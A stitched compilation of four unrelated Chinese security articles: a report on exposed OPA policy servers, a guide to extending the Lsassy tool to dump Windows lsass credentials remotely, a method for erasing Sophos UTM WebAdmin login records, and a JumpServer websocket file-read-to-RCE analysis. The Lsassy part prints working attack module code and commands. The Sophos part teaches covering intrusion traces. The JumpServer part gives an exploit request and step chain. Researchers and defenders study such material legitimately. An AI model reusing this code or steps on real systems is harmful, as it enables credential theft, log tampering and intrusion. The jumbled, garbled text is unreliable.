今年早些時候,趨勢科技發布了一份關於通過Shodan 發現243469 個暴露暴露的Kubernetes 節點的報告。另外,研究人員還發現了389 個易受攻擊的開放策略代理(OPA) 服務器。 OPA 是一個開源的雲本地計算基金會(CNCF) 項目,使用Go 編程語言開發,目前已被用作許多策略執行工具的主引擎,迄今為止下載量超過1.3 億次。它使用稱為Rego 的特定聲明性策略語言來設計其策略。 OPA 可用於各種系統和環境,例如Kubernetes、微服務、API 網關和其他雲本地工具。如果OPA服務器不受保護,它們的策略可能會洩露敏感的應用程序信息,包括用戶配置文件和正在使用的服務。這些暴露的策略還可能無意中洩露關於系統應該如何工作的信息,以繞過對已實現策略的限制,攻擊者可以利用這些限制進行攻擊。

Fig1_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

OPA 架構概述

這篇文章討論了研究人員在通過Shodan 識別出數百個暴露的OPA 服務器後發現的問題,以及暴露的OPA 如何對你的應用程序的整體安全性產生負面影響。

策略即代碼(PolicyAsCode)的需求Policy As Code本質上都是讓原來對Policy 描述抽象成代碼,從而擁有代碼的特性(復用性、抽象性、可執行、可測試、版本化等),以此來獲得更高層次的抽象。

在當今包含sprint、scrum、container、DevOps 和DevSecOps 以及雲的運行環境中,如果不使用自動化,網絡、安全和合規團隊很難跟上開發團隊和業務需求。這就是為什麼基礎設施即代碼(IaC)、GitOps 和安全即代碼(SaC) 等方法在保護雲環境和微服務方面變得必不可少的原因。所有這些方法共同實現雲安全,目的就是幫助在流程和部署開始時集成安全性,以防止威脅和風險。

但是合規性呢?你如何檢查、執行和持續監控你的系統,以確保它們遵循安全最佳實踐並遵守最新的安全標準,例如支付卡行業數據安全標準(PCI-DSS)、健康保險流通與責任法案(HIPAA),以及系統和組織控制(SOC 2)?這就是策略即代碼發揮作用的地方,可以顯著幫助加快合規性創建、自動化和驗證過程。

策略即代碼(或合規性即代碼)已成為實施、管理和跟踪系統策略更改並確保它們在雲本地系統4C 中應用和實施的好方法:代碼、容器、集群和雲。

使用與IaC 和SaC 類似的方法,策略即代碼使用軟件開發中已經使用的所有出色工具和技術來解決合規性問題。一方面,策略以特定文件格式(如JSON 或YAML)或使用特定編程語言(如Python 或Rego)創建和存儲。這些存儲在Git 存儲庫中,用於版本控制、跟踪和可審計性。這樣,組織可以在發生更改時在這些存儲庫上開發和触發管道和自動化。策略即代碼可以在代碼審查、自動化測試以及持續集成和交付(CI/CD) 管道中以編程方式實施,確保更改在到達生產系統之前得到適當的驗證和測試。 OPA 是可用於策略即代碼流程的領先開源工具之一。它可用於網絡上的許多不同應用程序和系統。儘管如此,它的主要採集者之一是Kubernetes 集群的准入控制器,其中它的Gatekeeper版本作為任何試圖在集群中運行的容器的安全器。

Shodan 上暴露的服務器在分析暴露的雲本地工具,特別是暴露暴露的kubelet 時,研究人員還通過Shodan 發現了近400 個暴露在8181 端口上的OPA 服務器,而且這個數字在過去幾個月中一直在增加。端口8181 是OPA 服務器的默認端口,它們都具有可用於未經身份驗證和未經授權的請求的API 端點。根據研究人員的Shodan 搜索,美國、韓國和德國是暴露OPA 數量最多的前三個國家。

研究人員使用列表策略端點來收集有關該實例中安裝的所有策略模塊的信息,如官方OPA 文檔中所示。然後,研究人員查詢了每389 個開放的OPA 服務器,以識別、收集和分析它們可以通過其策略模塊信息暴露的敏感信息類型。研究人員主要關注Policy API 來列出策略和分析數據。

首先,研究人員通過查詢/v1/config/端點來分析安裝在這些服務器上的OPA 的版本。如下圖所示,大多數暴露的服務器都使用過時的OPA 版本,例如0.34.2。在撰寫本文時,最新的OPA 版本是0.43.0。

Fig3_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

根據在Shodan 上找到的數據,暴露的OPA 服務器數量及其版本

在上圖中,研究人員可以看到通過Shodan 找到的一個暴露OPA 服務器的示例。除了能夠通過此頁面查詢服務器之外,如果用戶輸入數據沒有得到適當的清理和驗證,它還可以作為命令注入攻擊的入口點。還有REST API 被暴露和未經身份驗證的問題。

Fig4_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

在Shodan 上發現了一個過時(0.29.3) 和暴露的OPA 服務器的示例。截至撰寫本文時,此OPA 服務器的最新版本為0.43。

同時,這是對該暴露服務器的/v1/policies 端點發出GET 請求的結果:

Fig5_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

從暴露的OPA 服務器訪問列表策略(/v1/policies) 端點以列出所有可用策略

在美化生成的policy.json文件並分析其內容後,研究人員從policy文件本身中發現了一些特殊的信息:

在這個暴露的OPA 服務器上有五個可用的規則,其ID 提供了有關其用途的線索;

'systems/ea2c8e2dbfa748608077be0d6fd45369/rules/rules.rego';

'systems/ea2c8e2dbfa748608077be0d6fd45369/test/test.rego';

'systems/ea2c8e2dbfa748608077be0d6fd45369/product/manager/rules/rules.rego';

'systems/ea2c8e2dbfa748608077be0d6fd45369/product/rules/rules.rego';

'systems/ea2c8e2dbfa748608077be0d6fd45369/backoffice/rules/rules.rego';第一條規則是默認規則,默認返回值設置為false。第二條規則是測試規則;

研究人員可以訪問此暴露的OPA 服務器上可用的所有策略,這些策略可以以原始和抽象語法樹(AST) 格式訪問;

一些規則可以揭示內部應用程序角色,例如“發布者”和“編輯者”;

一些base64 編碼的數據轉換為“助手”。

分析暴露的OPA策略在從所有這些暴露的OPA 服務器收集和分析了近400 條策略之後,研究人員能夠找到以下信息:

這些策略中至少有33%的策略包含與應用程序相關的某種敏感信息,包括用戶配置文件、正在使用的服務,以及將通過Amazon Web Services (AWS) API 網關觸發API 的URL,甚至是一些內部系統URL。

這些策略中有91% 包含有關係統應如何運行以繞過基於已實施策略的某些限制的某種信息。

Fig6_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

在收集的OPA 策略中找到的相關和敏感信息的百分比

以下是一些服務和URL 示例,僅通過查看策略和它們為未經身份驗證的請求提供的輸出即可找到:

Fig7B_What%20Exposed%20OPA%20Servers%20Can%20Tell%20You%20About%20Your%20Applications.webp.jpg

僅通過查看OPA 策略即可找到的服務和URL 示例

通過適當的請求或令牌,攻擊者可以獲得有關這些服務的更多信息,並尋找漏洞或其他入口點以進入組織的系統。研究人員強烈建議目前將OPA 用作其策略即代碼解決方案的公司,以確保他們不會無意中在線暴露其API 和策略。在某些情況下,公司可能會在沒有意識到的情況下使用OPA,Kubernetes 託管服務的多個提供商依賴OPA 來執行策略。

出於安全考慮,研究人員僅從REST API 查詢列表策略端點。但是,還有許多其他可用的端點和方法,它們不僅列出了敏感信息,而且還允許攻擊者編輯甚至刪除暴露的OPA服務器中的數據和對象。其中包括:

8.png

所有這些都可以在OPA REST API 文檔中找到。

保護OPA 服務器首先,OPA 服務器不應該暴露在互聯網上。因此,有必要限制該訪問,以避免任何人通過REST API 繞過你的OPA 配置。對於授權用例,OPA部署的標準模式是讓OPA與請求它做出決策的應用程序運行在同一台設備上。這樣,組織就不需要將OPA 暴露給互聯網或內部網絡,因為通信是通過localhost 接口執行的。此外,以這種方式部署OPA 意味著組織通常不需要為REST API 啟用身份驗證/授權,因為只有在同一台設備上運行的進程才能查詢OPA 實例。為此,可以使用“opa run --addr localhost:8181”啟動OPA,使其僅綁定到localhost 接口。

其次,當使用策略即代碼工具(如OPA)時,在源代碼管理(SCM)系統等位置保護策略是很重要的。通過分支保護和代碼所有者等特性,擁有適當的訪問控制來監視可以更改這些策略中的哪些內容也是至關重要的。有了SCM系統的強大功能,組織可以創建對這些策略的任何更改的更精簡的審查和批准過程,確保源代碼中的任何內容也反映在生產OPA服務器中。

TLS 和HTTPS如上所述,在Shodan 上發現的這些暴露的OPA 服務器中的大多數都沒有使用任何類型的通信加密,因為默認情況下沒有啟用這種加密。要配置TLS 和HTTPS,系統管理員需要創建證書和私鑰,並提供以下命令行標誌:

TLS 證書的路徑:--tls-cert-file=

TLS 私鑰的路徑:--tls-private-key-file=

有關此過程的最新信息,請參閱有關TLS 和HTTPS 的OPA 文檔。

身份驗證和授權默認情況下,OPA 身份驗證和授權機制是關閉的。這在OPA 的官方文檔中有所描述,系統管理員和DevOps 工程師在安裝後立即啟用這些機制至關重要。

根據OPA 文檔,這兩種機制都可以通過以下命令行標誌進行配置:

身份驗證:--authentication=

這可以是不記名令牌(--authentication=token) 或客戶端TLS 證書(--authentication=tls)。

授權:--authorization=

這使用Rego 策略來決定誰可以在OPA 中做什麼。它可以通過在OPA 啟動期間設置--authorization=basic 標誌並提供最小授權策略來啟用。

有關此過程的更多詳細信息,請參閱OPA 關於身份驗證和授權的官方文檔。

雲安全建議Kubernetes 是開發人員中最受歡迎的平台之一,其高采用率證明了這一點,並且沒有任何很快放緩的跡象。隨著用戶基礎的不斷擴大,Kubernetes的部署需要確保安全,免受威脅和風險。為此,開發人員可以將策略作為代碼工具,它可以幫助以自動化的方式實現控制和驗證過程。

除了努力應用一些基本的內務管理規則來保證Kubernetes 集群的安全之外,組織還可以使用特定於雲的安全解決方案。

0x00 前言在之前的文章《渗透基础——远程从lsass.exe进程导出凭据》 介紹了Lsassy的用法,Lsassy能夠實現遠程從lsass.exe進程導出憑據。本文將要在Lsassy的基礎上進行二次開發,添加一個導出憑據的方法,記錄細節。

0x01 簡介本文將要介紹以下內容:

马云惹不起马云二次開發的細節

马云惹不起马云 開源代碼

0x02 導出憑據的方法在之前的文章《渗透基础——从lsass.exe进程导出凭据》 提到過使用RPC控制lsass加載SSP的方式向lsass.exe進程注入dll,由dll來實現dump的功能,這個方法是Lsassy缺少的。

這個方法共分為兩部分:

(1)加載器使用RPC控制lsass進程加載dll文件

可參考XPN開源的代碼:

https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e

在編譯代碼時,為了提高通用性,編譯選項選擇在靜態庫中使用MFC,在原代碼的基礎上添加如下代碼:

#pragmacomment(lib,'Rpcrt4.lib')編譯代碼生成文件rpcloader.exe

(2)dll文件dll文件實現從lsass.exe進程導出憑據,代碼可參考:

https://github.com/outflanknl/Dumpert/blob/master/Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.c

dll加載時會將dump文件保存為c:\windows\Temp\dumpert.dmp

編譯代碼生成文件dumpert.dll

經過以上操作,得到文件rpcloader.exe和dumpert.dll,作為二次開發的準備。

0x03 二次開發的細節1.添加一個需要指定文件路徑的dump方法格式參考:https://github.com/Hackndo/lsassy/blob/master/lsassy/dumpmethod/dummy.py.tpl

根據參考格式寫出模塊代碼,我這裡額外做了一些標記,細節如下:

fromlsassy.dumpmethodimportIDumpMethod,Dependency

classDumpMethod(IDumpMethod):

custom_dump_path_support=False

custom_dump_name_support=False

dump_name='dumpert.dmp'//進程dump文件保存的文件名

dump_share='C$'//進程dump文件保存的磁盤

dump_path='\\Windows\\Temp\\'//進程dump文件保存的路徑

def__init__(self,session,timeout):

super().__init__(session,timeout)

self.loader=Dependency('rpcloader','rpc.exe')//rpcloader為命令行使用的參數名,rpc.exe為上傳文件保存的文件名

self.dll=Dependency('dll','rpc.dll')//dll為命令行使用的參數名,rpc.dll為上傳文件保存的文件名

defprepare(self,options):

returnself.prepare_dependencies(options,[self.loader,self.dll])//確認命令行參數是否正確

defclean(self):

self.clean_dependencies([self.loader,self.dll])//清除上傳的文件

defget_commands(self,dump_path=None,dump_name=None,no_powershell=False):

cmd_command='''{}{}'''.format(

self.loader.get_remote_path(),self.dll.get_remote_path()//執行的命令:c:\windows\temp\rpc.exec:\windows\temp\rpc.dll

)

pwsh_command='''{}{}'''.format(

self.loader.get_remote_path(),self.dll.get_remote_path()

)

return{

'cmd':cmd_command,

'pwsh':pwsh_command

}將以上代碼保存至python \Lib\site-packages\lsassy\dumpmethod\rawrpc.py

注:

上傳的文件可以使用隨機名稱,代碼self.loader=Dependency('rpcloader', 'rpc.exe')

可修改為self.loader=Dependency('rpcloader', ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + '.exe'),代碼self.dll=Dependency('dll', 'rpc.dll')可修改為self.dll=Dependency('dll', ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + '.dll')

測試命令:

lsassy-uAdministrator-pPassword1192.168.1.1-mrawrpc-Orpcloader_path=c:\test\rpcloader.exe,dll_path=c:\test\dumpert.dll該方法會將本地的c:\test\rpcloader.exe和c:\test\dumpert.dll複製到遠程主機並命名為c:\windows\temp\rpc.exe和c:\windows\temp\rpc.dll,將lsass進程的dump文件保存為c:\windows\temp\dumpert.dmp

2.添加一個全自動的dump方法為了使以上整個過程自動化,這裡可以選擇將exe和dll文件作base64編碼保存在變量中。

base64編碼的實現代碼:

importbase64

withopen('rpcloader.exe','rb')asfr:

content=fr.read()

data1=base64.b64encode(content).decode('utf8')

withopen('rpcloader-base64.txt','w')asfw:

fw.write(data1)

withopen('dumpert.dll','rb')asfr:

content=fr.read()

data1=base64.b64encode(content).decode('utf8')

withopen('dumpert-base64.txt','w')asfw:

fw.write(data1)將生成rpcloader-base64.txt和dumpert-base64.txt替換以下代碼中的base64

importbase64

importrandom

importstring

fromlsassy.dumpmethodimportIDumpMethod,Dependency

classDumpMethod(IDumpMethod):

custom_dump_path_support=False

custom_dump_name_support=False

dump_name='dumpert.dmp'

dump_share='C$'

dump_path='\\Windows\\Temp\\'

def__init__(self,session,timeout):

super().__init__(session,timeout)

self.loader=Dependency('rpcloader',''.join(random.choice(string.ascii_letters+string.digits)for_inrange(8))+'.exe')

self.loader.content=base64.b64decode('')

self.dll=Dependency('dll',''.join(random.choice(string.ascii_letters+string.digits)for_inrange(8))+'.dll')

self.dll.content=base64.b64decode('')

defprepare(self,options):

returnself.prepare_dependencies(options,[self.loader,self.dll])

defclean(self):

self.clean_dependencies([self.loader,self.dll])

defget_commands(self,dump_path=None,dump_name=None,no_powershell=False):

cmd_command='''{}{}'''.format(

self.loader.get_remote_path(),self.dll.get_remote_path()

)

pwsh_command='''{}{}'''.format(

self.loader.get_remote_path(),self.dll.get_remote_path()

)

return{

'cmd':cmd_command,

'pwsh':pwsh_command

}將以上代碼保存至python \Lib\site-packages\lsassy\dumpmethod\rawrpc_embedded.py

測試命令:

lsassy-uAdministrator-pPassword1192.168.1.1-mrawrpc_embedded3.打包成exe文件完整的打包命令:

pyinstaller-Fconsole.py--hidden-importunicrypto.backends.pure.DES--hidden-importunicrypto.backends.pure.TDES--hidden-importunicrypto.backends.pure.AES--hidden-importunicrypto.backends.pure.RC4--hidden-importlsassy.dumpmethod.comsvcs--hidden-importlsassy.dumpmethod.comsvcs_stealth--hidden-importlsassy.dumpmethod.d llinject--hidden-importlsassy.dumpmethod.dumpert--hidden-importlsassy.dumpmethod.dumpertdll--hidden-importlsassy.dumpmethod.edrsandblast--hidden-importlsassy.dumpmethod.mirrordump--hidden-importlsassy.dumpmethod.mirrordump_embedded--hidden-importlsassy.dumpmethod.nanodump--hidden-importlsassy.dumpmethod.ppldump--h idden-importlsassy.dumpmethod.ppldump_embedded--hidden-importlsassy.dumpmethod.procdump--hidden-importlsassy.dumpmethod.procdump_embedded--hidden-importlsassy.dumpmethod.rdrleakdiag--hidden-importlsassy.dumpmethod.wer--hidden-importlsassy.exec.mmc--hidden-importlsassy.exec.smb--hidden-importlsassy.exec.smb_stealth --hidden-importlsassy.exec.task--hidden-importlsassy.exec.wmi--hidden-importlsassy.output.grep_output--hidden-importlsassy.output.json_output--hidden-importlsassy.output.pretty_output--hidden-importlsassy.output.table_output--hidden-importlsassy.dumpmethod.rawrpc--hidden-importlsassy.dumpmethod.rawrpc_embedded0x04 小結Lsassy將不同的功能模塊化,結構設置合理,添加dump方法僅需要修改Dumper module對應的實現代碼。我已經將新添加的模塊推送至Lsassy,在最新版的Lsassy可以直接使用這個模塊。

0x00 前言對於Sophos UTM設備,在web管理頁面中,Last WebAdmin Sessions會記錄用戶每次登錄的信息,本文僅在技術研究的角度介紹清除指定Last WebAdmin Sessions記錄的方法,記錄研究細節。

0x01 簡介本文將要介紹以下內容:

马云惹不起马云 研究過程

马云惹不起马云實現方法

0x02 Last WebAdmin Sessions簡介在web管理頁面中,選中Management後會顯示Last WebAdmin Sessions記錄,如下圖:

image.png

記錄包括以下內容:

马云惹不起马云 User:登錄用戶名

马云惹不起马云Start:登錄時間

马云惹不起马云State:退出時間

马云惹不起马云IP address:登錄IP

马云惹不起马云Changelog:修改的配置

對於Changelog,點擊Show,會顯示修改的配置,如下圖

image.png

默認配置下,Last WebAdmin Sessions會顯示最近的20條記錄。

0x03 研究過程1.嘗試修改/var/confd/var/storage/cfg在上篇文章《Sophos UTM利用分析——导出配置文件》 提到,/var/confd/var/storage/cfg存儲Sophos UTM的配置信息,所以猜測通過修改/var/confd/var/storage/cfg文件可以實現Last WebAdmin Sessions記錄的清除。

/var/confd/var/storage/cfg的文件格式為Perl Storable files,這裡使用StorableEdit來編輯文件。

向Sophos UTM上傳文件storableedit-1.5.pl,執行命令:

./storableedit-1.5.plcfg結果如下圖:

image.png

解析出的文件結構同使用SophosUTM_ConfigParser.py導出的結果一致。

查看配置信息,命令如下:

cdlastchange

cdREF_AaaGroGroup1

ls將所有屬性置空,命令如下:

$cur-{'user'}='',$cur-{'time'}='',$cur-{'sid'}='',$cur-{'srcip'}=''保存文件,命令如下:

x然而,修改cfg文件後不會影響Last WebAdmin Sessions記錄。

2.反編譯web管理頁面的源碼web管理頁面的程序文件路徑:/var/sec/chroot-httpd/var/webadmin/webadmin.plx

使用SophosUTM_plxDecrypter.py反編譯/var/sec/chroot-httpd/var/webadmin/webadmin.plx

定位到關鍵文件:export-webadmin.plx\wfe\asg\modules\asg_dashboard.pm

定位到關鍵內容:my $userlog=$sys-userlog_read(max=20, facility='webadmin,acc-agent,acc_sso') || [];

如下圖:

image.png

從輸出結果中定位到關鍵函數:userlog_read

3.定位關鍵函數userlog_readgoogle搜索$sys-userlog_read,找到一份參考文檔:https://community.sophos.com/utm-firewall/astaroorg/f/asg-v8-000-beta-closed/69661/7-920-bug-open-failed-smtp-relay-login-is-showing-up-on-last-webadmin-logins

文檔中有關於userlog_read的一些描述,如下圖:

image.png

從描述得出,userlog_read同cc命令存在關聯。

4.反編譯cc命令對應的進程cc命令對應的文件為/var/confd/confd.plx,使用SophosUTM_plxDecrypter.py反編譯/var/confd/confd.plx

5.獲得函數userlog_read細節搜索userlog_read相關內容,命令如下:

grep-iR'userlog_read'/home/kali/1/decrypt/Export-confd.plx輸出結果如下圖:

image.png

從輸出結果中定位關鍵文件:Export-confd.plx/Info/webadmin/log.pm

定位到函數定義:

subuserlog_read{

my($self,%args)=@_;

$args{max}=$args{sid}?1:$args{max}||20;

$args{facility}={map{($_=1)}split/,/,$args{facility}}

if$args{facility};

my$sessions;

$sessions=_consult_db($self,\%args)

unless$self-get(qw(reportinguserlog_from_logs));

$sessions=_iterate_files($self,\%args)

unlessref$sessionseq'ARRAY';

foreachmy$sd(@$sessions){

$sd-{state}=(-e'$config:session_dir/$sd-{sid}'?'active':'ended')

if!$sd-{state}||$sd-{state}eq'active';

}

return$sessions;

}6.函數userlog_read代碼分析代碼涉及兩個操作,分別為讀取數據庫和讀取文件,詳情如下:

(1)數據庫操作

關鍵代碼:

sub_consult_db{

my($self,$args)=@_;

my$facility_selection='';

$facility_selection='WHEREfacilityin('.

join(',',map{'?'}keys%{$args-{facility}}).')'

if$args-{facility};

my%sql=(

sessions='SELECTsid,facility,srcip,username,time,endtime,state'

.'FROMconfd_sessions'.$facility_selection

.'ORDERBYtimeDESCLIMIT?',

session='SELECTsid,facility,srcip,username,time,endtime,state'

.'FROMconfd_sessionsWHEREsid=?',

nodes='SELECT*FROMconfd_nodesWHEREsid=$1ORDERBYtimeDESC',

objects='SELECT*FROMconfd_objectsWHEREsid=$1ORDERBYtimeDESC',

);

#Preparedatabaseaccess.

my$db=Astaro:ADBS-new(dbName='reporting')orreturn;

while(my($key,$query)=each%sql){

$db-registerSQL($key,$query)orreturn;

}

#ListConfdsessions.

my$sessh;

if($args-{sid}){

$sessh=$db-getHandle('session')orreturn;

$sessh-execute($args-{sid})orreturn;

}elsif($args-{facility}){

$sessh=$db-getHandle('sessions')orreturn;

$sessh-execute(keys%{$args-{facility}},$args-{max})orreturn;

}else{

$sessh=$db-getHandle('sessions')orreturn;

$sessh-execute($args-{max})orreturn;

}

my$sessions=$sessh-fetchall_arrayref({});

my$nodeh=$db-getHandle('nodes')orreturn;

my$objh=$db-getHandle('objects')orreturn;

foreachmy$sd(@$sessions){

#Tweaksessiondata.

$sd-{time}=~tr/-/:-/;

$sd-{endtime}=~tr/-/:-/ifdefined$sd-{endtime};

$sd-{user}=delete$sd-{username};#userisareservedwordinSQL

$sd-{user}.='(SUM)'if$sd-{facility}eq'acc_sso';

$sd-{user}=utils:Sanitize:sanitize($sd-{user})if$sd-{user};

#Fetchnodechanges.

$nodeh-execute($sd-{sid})orreturn;

foreachmy$node(@{$nodeh-fetchall_arrayref({})}){

$node-{time}=~tr/-/:-/;

$node-{node_descr}=Message:get_phrase(

'N',$node,{Nattrs=['node']});

$sd-{main}{$node-{node}}||=[];

push@{$sd-{main}{$node-{node}}},$node;

}

#Fetchobjectchanges.

$objh-execute($sd-{sid})orreturn;

foreachmy$object(@{$objh-fetchall_arrayref({})}){

my$attrs=$object-{attrs}||[];

$object-{attributes}=[];

while(@$attrs){

my$name=shift@$attrs;

$object-{'attr_$name'}=shift@$attrs;

$object-{'oldattr_$name'}=shift@$attrs;

$object-{'descr_$name'}=Message:get_phrase(

'A',$object,{attr=$name});

push@{$object-{attributes}},$name;

}

delete$object-{attrs};

if(@{$object-{attributes}}){

$object-{attributes}=[sort@{$object-{attributes}}];

}else{

delete$object-{attributes};

}

$object-{time}=~tr/-/:-/;

$object-{obj_descr}=Message:get_phrase('O',$object,{});

$sd-{objects}{$object-{ref}}||=[];

push@{$sd-{objects}{$object-{ref}}},$object;

}

}

$db-disconnect;

return$sessions;

}代碼分析:

從數據庫reporting中分別執行以下操作實現數據讀取:

sessions:SELECTsid,facility,srcip,username,time,endtime,stateFROMconfd_sessions;

nodes:SELECT*FROMconfd_nodes;

objects:SELECT*FROMconfd_objects;經過測試分析,confd_sessions存儲Session信息。

讀取Session信息的cmd命令:

psqlreporting-Upostgres-c'SELECTsid,facility,srcip,username,time,endtime,stateFROMconfd_sessions;'(2)文件操作

關鍵代碼:

sub_iterate_files{

my($self,$args)=@_;

#choosethefirstfiletoprocess

my$filename='/var/log/confd.log';

if(defined$args-{time}){

my@then;

if($args-{time}=~/^(\d{4}):(\d\d):(\d\d)/){

@then=(0,0,12,$3,$2-1,$1-1900);

}else{

@then=localtime($args-{time});

}

my$then=POSIX:strftime('%F',@then);

my$now=POSIX:strftime('%F',localtime);

$filename=POSIX:strftime(

'/var/log/confd/%Y/%m/confd-%Y-%m-%d.log.gz',

@then,

)if$thenne$now;

}

#processthefirstfile

my$sessions=[];

my$sdata={};

_parse_file($self,$filename,$sessions,$sdata,$args);

#ifneeded,processarchivedlogfiles

if(@$sessions$args-{max}not$args-{time}){

my$iter=File:Next:files({

file_filter=sub{/\.log\.gz$/},

sort_files=\File:Next:sort_reverse,

},'/var/log/confd');

while(@$sessions$args-{max}){

$filename=$iter-();

lastunlessdefined$filename;

my@new_sessions;

_parse_file($self,$filename,\@new_sessions,$sdata,$args);

push@$sessions,@new_sessions;

}

}

#limitthenumberofsessionstoreporton

splice@$sessions,$args-{max}if@$sessions=$args-{max};

return[@{$sdata}{@$sessions}];

}代碼分析:

讀取文件/var/log/confd.log,/var/log/confd.log只能保存現在時間到之前一段時間的日誌,更早時間的日誌會保存在/var/log/confd/%Y/%m/confd-%Y-%m-%d.log.gz,例如2022年5月16日的日誌對應位置為/var/log/confd/2022/05/confd-2022-05-16.log.gz

經過測試分析,/var/log/confd.log存儲Session信息。

7.編輯文件中存儲的Session信息查看登錄成功的信息:

cat/var/log/confd.log|grepsuccess返回結果示例:

2022:05:23-00:19:33testconfd[41177]:IRole:authenticate:185()=id='3106'severity='info'sys='System'sub='confd'name='authenticat ionsuccessful'user='admin'srcip='192.168.1.2'sid='8ad7bbf2781b006d99176eea9050694811e745e04acfab3dd0179620109a41ab'facility='webadmin'client='webadmin.plx'cal l='new'May2300:19:33confd[41177]:Dsys:AUTOLOAD:307()=id='3100'severity='debug'sys='System'sub='confd'name='externalcall'user='admin's rcip='192.168.1.2'facility='webadmin'client='webadmin.plx'lock='none'method='get_SID'從結果中獲得sid為8ad7bbf2781b006d99176eea9050694811e745e04acfab3dd0179620109a41ab

篩選出指定sid的信息:

cat/var/log/confd.log|grep8ad7bbf2781b006d99176eea9050694811e745e04acfab3dd0179620109a41ab返回結果示例:

2022:05:23-00:19:33testconfd[41177]:IRole:authenticate:185()=id='3106'severity='info'sys='Sys

0 简介

JumpServer是一款开源的堡垒机,是符合4A规范的运维安全审计系统,通俗来说就是跳板机。

2021年1月15日,JumpServer发布安全更新,修复了一处远程命令执行漏洞。由于JumpServer某些接口未做授权限制,攻击者可构造恶意请求获取敏感信息,或者执行相关操作控制其中所有机器,执行任意命令。

影响版本:

  • JumpServer < v2.6.2
  • JumpServer < v2.5.4
  • JumpServer < v2.4.5
  • JumpServer = v1.5.9

1. 漏洞分析

看修复代码的commit记录:https://github.com/jumpserver/jumpserver/commit/f04e2fa0905a7cd439d7f6118bc810894eed3f3e

发现是给CeleryLogWebsocket类的connect加上了身份认证。

import time
import os
import threading
import json

from common.utils import get_logger

from .celery.utils import get_celery_task_log_path
from .ansible.utils import get_ansible_task_log_path
from channels.generic.websocket import JsonWebsocketConsumer

logger = get_logger(__name__)


class TaskLogWebsocket(JsonWebsocketConsumer):
    disconnected = False

    log_types = {
        'celery': get_celery_task_log_path,
        'ansible': get_ansible_task_log_path
    }

    def connect(self):
        user = self.scope["user"]
        if user.is_authenticated and user.is_org_admin:
            self.accept()
        else:
            self.close()

    def get_log_path(self, task_id):
        func = self.log_types.get(self.log_type)
        if func:
            return func(task_id)

    def receive(self, text_data=None, bytes_data=None, **kwargs):
        data = json.loads(text_data)
        task_id = data.get('task')
        self.log_type = data.get('type', 'celery')
        if task_id:
            self.handle_task(task_id)

    def wait_util_log_path_exist(self, task_id):
        log_path = self.get_log_path(task_id)
        while not self.disconnected:
            if not os.path.exists(log_path):
                self.send_json({'message': '.', 'task': task_id})
                time.sleep(0.5)
                continue
            self.send_json({'message': '\r\n'})
            try:
                logger.debug('Task log path: {}'.format(log_path))
                task_log_f = open(log_path, 'rb')
                return task_log_f
            except OSError:
                return None

    def read_log_file(self, task_id):
        task_log_f = self.wait_util_log_path_exist(task_id)
        if not task_log_f:
            logger.debug('Task log file is None: {}'.format(task_id))
            return

        task_end_mark = []
        while not self.disconnected:
            data = task_log_f.read(4096)
            if data:
                data = data.replace(b'\n', b'\r\n')
                self.send_json(
                    {'message': data.decode(errors='ignore'), 'task': task_id}
                )
                if data.find(b'succeeded in') != -1:
                    task_end_mark.append(1)
                if data.find(bytes(task_id, 'utf8')) != -1:
                    task_end_mark.append(1)
            elif len(task_end_mark) == 2:
                logger.debug('Task log end: {}'.format(task_id))
                break
            time.sleep(0.2)
        task_log_f.close()

    def handle_task(self, task_id):
        logger.info("Task id: {}".format(task_id))
        thread = threading.Thread(target=self.read_log_file, args=(task_id,))
        thread.start()

    def disconnect(self, close_code):
        self.disconnected = True
        self.close()

查看这个类的http接口:

a0jolazqtkd14133.png

通过这个类可以知道,这个接口的访问链为:

访问ws/ops/tasks/log/
--> 进入TaskLogWebsocket类的receive函数
--> 进入TaskLogWebsocket类的handle_task函数
--> 进入TaskLogWebsocket类的read_log_file函数
--> 进入TaskLogWebsocket类的wait_util_log_path_exist函数
--> 进入TaskLogWebsocket类的read_log_file函数
--> 进入app/ops/utls.py中的get_task_log_path函数

2zeqtyhuook14134.png

taskid是从我们发送的text_data中解析出来的,所以是可控的,通过下面的方式我们可以读取日志文件/opt/jumpserver/logs/jumpserver.log。

ws://10.10.10.10:8080/ws/ops/tasks/log/发送
{"task":"/opt/jumpserver/logs/jumpserver"}

以上就是文件读取的原理,读取日志文件有如下限制:

  • 只能使用绝对路径读取文件
  • 只能读取以 log 结尾的文件

下面分析如何实现远程代码执行。

通过读取/opt/jumpserver/logs/gunicorn.log,运气好的话,可以读取到用户uid,系统用户uid,和资产id:

  • user id
  • asset id
  • system user id

上述三个信息是需要存在用户正在登录web terminal才能从日志中拿到的,拿到之后。通过/api/v1/authentication/connection-token/ 接口,可以进去/apps/authentication/api/UserConnectionTokenApi

0zjjmnggfdl14135.png

1nfvpjttktj14136.png

通过user_id asset_id system_user_id可以获取到只有20s有效期的token。这个token可以用来创建一个koko组件的tty:

https://github.com/jumpserver/koko/blob/master/pkg/httpd/webserver.go#342

--> https://github.com/jumpserver/koko/blob/4258b6a08d1d3563437ea2257ece05b22b093e15/pkg/httpd/webserver.go#L167

具体代码如下:

lfuqtpanmyx14139.png

n2xer0fttvz14142.png

总结完整的rce利用步骤为:

  1. 未授权的情况下能够建立websocket连接
  2. task可控,可以通过websocket对日志文件进行读取
  3. 拿到日志文件中的系统用户,用户,资产字段
  4. 通过3中的字段,可以拿到20s的token
  5. 通过该token能够进入koko的tty,执行命令

2 漏洞复现

2.1 环境搭建

  • 本地环境:xubuntu20.04
  • jumpserver版本:2.6.1版本

安装步骤:

# 下载
git clone https://github.com/jumpserver/installer.git
cd installer 

# 国内docker源加速
export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn

# 安装dev版本,再切换到2.6.1(应该可以直接安装2.6.1,一开始错装成了默认的dev版本,不过没关系)
sudo su
./jmsctl.sh install
./jmsctl.sh upgrade v2.6.1

# 启动
./jmsctl.sh restart

完整日志

# yanq @ yanq-desk in ~/gitrepo [22:18:53] C:127
